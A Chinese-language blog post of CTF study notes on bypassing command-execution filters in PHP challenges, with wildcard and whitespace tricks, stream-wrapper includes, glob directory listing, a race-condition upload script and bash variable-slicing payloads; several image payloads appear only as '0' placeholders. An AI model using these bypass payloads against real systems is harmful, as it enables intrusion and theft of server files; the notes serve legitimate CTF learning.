web安全-命令执行绕过小技巧总结

举报
亿人安全 发表于 2023/05/25 22:16:18 2023/05/25
【摘要】 命令执行绕过小技巧:https://www.cnblogs.com/NPFS/p/13279815.html29~31:https://blog.csdn.net/miuzzx/article/details/108420246?spm=1001.2014.3001.5501知识点:1.通配符绕过2.反引号执行系统命令3.空格过滤+cat过滤绕过32~36:https://blog.csdn...
命令执行绕过小技巧:

29~31:

知识点:
1.通配符绕过
2.反引号执行系统命令
3.空格过滤+cat过滤绕过

32~36:

知识点:
全是 php://伪协议 + 魔法数组
-----------------------------------------
37~40:

知识点:
1.data伪协议 + 通配符
2.构造数组 + 数组逆序 + 读取文件

-----------------------------------------
43~44:


知识点:
1.或绕过(难)
2.%0a截断, ";"截断

-----------------------------------------
45~52:

知识点:
1.%0a截断, %09绕过空格,
''绕过preg_match

2.cat绕过(more,head,sort,nl),
%0a截断 ,
%09绕过空格,
''绕过preg_match

3.
"<>"绕过空格
"/"绕过空格
"<"绕过空格

4.
ls / 查看根目录
nl /flag 访问根目录下的flag文件
-----------------------------------------
53~56:
知识点:

1.(55)
?通配符绕过(?匹配单个字符)
+ ${IFS}绕过
+ cat绕过
(more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|paste)

2.(55/56)[难]
0
只要进行操作,其对应超全局变量一定会存在(只是存在的时间的长短)
所以我们只需要不断执行上传的文件,就能成功(条件竞争)

payload:
0

0

0
exp:
```
import requests

while True:
url = "url/?c=.%20/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
```
-----------------------------------------
57~69:

1.(57)构造数字:
没有过滤'$', '(', ')'
这道题的目的是构造36这个数字,这里利用了$(( ))与整数运算
$(())------是0,
假设$(())为一个单位,用'A'来表示,那么$(($(())))则表示为A(A)
~A-------是-0
A(~A)---------是-1
所以A(~A(中间36个-1相加))--------是36

2.(58~68):
很多危险函数被禁用:
shell_exec(); exec(); system(); phpinfo();

绕过:
0

0
显示当前目录下的所有文件:
0

显示根目录下的所有文件,及访问根目录下的文件:
(在linux下面表示当前目录是 ./ )
0

0

0
文件包含:
show_source(''); echo file_get_contents('');
highlight_file(''); include('');

伪协议包含:
c=include($_GET['1']);
?1=php://filter/convert.base64-encode/resource=flag.php

-----------------------------------------
70~77:
1.(72)open dir绕过[难]
0

BurpSuite Get请求改为Post请求:

global伪协议,读取根目录下的文件.
```
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
?>
```
```
$a="glob:///*.txt";
if($b=opendir($a))
{
while(($file=readdir($b))!==false)
{
echo "filename: ".$file."\n";
}
closedir($b);
}exit(0);
```

当出现下面的情况,也就是并没有权限去访问目录时,需要用exp进行绕过.
0

payload:(需要先经过url编码)


2.(73~76):
var_export('');能用,
两个payload,一个获取根目录下的文件,一个读取根目录下的文件.

获取根目录下的文件:
```
c=$a="glob:///*.txt";
if($b=opendir($a))
{
while(($file=readdir($b))!==false)
{
echo "filename: ".$file."\n";
}
closedir($b);
}exit(0);
```
读取根目录下的文件:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);


3.(77)[难]:

照常遍历根目录,发现flag36x.txt 和readflag 文件

这里flag36x.txt读取不出来没有回显,所以利用readflag,把他输出到新文件flag.txt中
Payload:
```
?>system("/readflag >flag.txt");exit();
```

-----------------------------------------
118~120:[难]

构造nl flag.php
对系统变量进行截取操作:
0

求变量长度:
0

摇色子:
0

构造/bin/cat flag.php:
(过滤了数字,PATH,BASE,HOME)
0
因为 ${SHLVL}=1
所以:
0
payload:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???


或者构造tac flag.php:
0

tac flag.php:
${PHP_CFLAGS:3:3} ????.???
也就是
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

常见的可利用变量:
0

-----------------------------------------
121[难]:
(常变量绕过,Bash)
构造/bin/base64 flag.php:

0
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。